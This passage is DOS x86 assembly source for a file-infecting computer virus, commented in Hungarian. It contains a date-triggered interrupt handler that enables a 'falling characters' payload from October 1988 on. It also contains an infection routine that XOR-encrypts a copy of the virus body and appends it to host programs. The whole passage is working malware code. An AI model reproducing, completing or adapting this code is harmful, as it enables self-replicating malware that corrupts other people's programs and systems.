- UJ28: TEST CS:STATUS,1000B ; TILTVA A POTYOGAS?
-
- JZ U28_1 ; HA NEM, AKKOR FELESLEGES VEGREHAJTANI
-
- PUSH AX ; REGISZTEREK MENTESE
-
- PUSH CX
-
- PUSH DX
-
- MOV AH,2AH ; A RENDSZERDATUM BEOLVASASA
-
- INT 21H
-
- CMP CX,1988 ; AZ EV 1988?
-
- JB U28_2 ; HA KISEBB, AKKOR KILEPES
-
- JA U28_3 ; HA NAGYOBB, AKKOR POTYOGHAT
-
- CMP DH,10 ; VAN MAR OKTOBER?
-
- JB U28_2 ; HA MEG NINCS, AKKOR NE POTYOGJON
-
- U28_3: AND CS:STATUS,11110111B ; A POTYOGAS ENGEDELYEZVE
-
- U28_2: POP DX ; REGISZTEREK VISSZAOLVASASA
-
- POP CX
-
- POP AX
-
- U28_1: JMP DWORD PTR CS:REG28 ; FOLYTATAS A REGI INT 28H-N
-
-
-
- UTANMAS PROC NEAR ; A VIRUS KIMASOLASA A PROGRAM MOGE
-
- PUSH ES
-
- PUSH BX
-
- MOV AH,48H ; MEMORIATERULET ALLOKALASA
-
- MOV BX,OFFSET HOSSZ/10H+1
-
- INT 21H
-
- POP BX
-
- JNC UTAN1 ; SIKERULT?
-
- UTAN3: STC
-
- POP ES
-
- RET
-
- UTAN1: MOV BYTE PTR CS:100H,1
-
- MOV ES,AX
-
- PUSH CS ; DS=CS
-
- POP DS
-
- XOR DI,DI ; DI=0
-
- MOV SI,100H ; SI=100H
-
- MOV CX,OFFSET HOSSZ ; A VIRUS HOSSZA
-
- CLD ; NOVEKVO IRANY
-
- REPZ MOVSB ; A VIRUS KIMASOLASA AZ ALLOKALT TERULETRE
-
- MOV DI,OFFSET INDIT-100H
-
- MOV SI,OFFSET INDIT
-
- ADD SI,WORD PTR FILHOS
-
- MOV CX,OFFSET VEG-INDIT
-
- UTAN2: XOR ES:[DI],SI ; A VIRUS LE XOR-OLASA
-
- XOR ES:[DI],CX
-
- INC DI
-
- INC SI
-
- LOOP UTAN2
-
- MOV DS,AX ; DS A PUFFER ELEJERE MUTAT
-
- MOV AH,40H
-
- XOR DX,DX ; AZ OFSZET A PUFFER ELEJERE
-
- MOV CX,OFFSET HOSSZ ; A VIRUS HOSSZA
-
- INT 21H ; KIIRAS A PROGRAM MOGE
-
- PUSHF
-
- PUSH AX
-
- MOV AH,49H ; AZ ALLOKALT MEMORIABLOKK FELSZABADITASA
-
- INT 21H
-
- POP AX ; A REGISZTEREK VISSZAOLVASASA
-
- POPF
-
- PUSH CS ; DS=CS
-
- POP DS
-
- JC UTAN3
-
- CMP AX,CX ; MINDEN BYTEOT KIIRT?
-
- JNZ UTAN3 ; NEM
-
- POP ES
-
- CLC ; NEM TORTENT HIBA
-
- RET ; VISSZATERES
-
- UTANMAS ENDP
-
-
-
- VEG EQU $
-
-
-
- VIRUS ENDS
-
-
-
- END
-
-